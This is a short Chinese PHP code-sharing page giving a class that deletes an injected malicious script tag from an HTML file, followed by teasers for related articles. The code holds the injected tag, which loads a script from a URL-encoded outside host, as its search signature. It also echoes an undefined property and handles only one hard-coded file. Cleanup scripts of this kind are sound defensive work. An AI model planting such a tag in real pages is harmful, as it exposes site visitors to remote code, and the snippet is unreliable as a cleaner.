php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

C#静态方法与非静态方法实例分析

本文实例分析了C#静态方法与非静态方法,并对其用法进行了较为全面的分析。分享给大家供大家参考。具体分析如下: 通常来说,C#的类中可以包含两种方法:静态方法和非静态方法。 使用了stat...

PHP伪静态写法附代码

比如这个网页 //www.jb51.net/soft.php/1,100,8630.html 其实处理的脚本是soft.php 参数为1,100,8630 相当于soft.ph...

PHP实现清除wordpress里恶意代码

公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。 恶意代码示例 复制代码 代码如下: <?...

php获取文件名后缀常用方法小结

本文实例汇总了php获取文件名后缀常用方法。分享给大家供大家参考。具体实现方法如下: <?php header("Content-type:text/html;char...

redis 队列操作的例子(php)

入队操作 复制代码 代码如下: <?php $redis = new Redis(); $redis->connect('127.0.0.1',6379); while(Tr...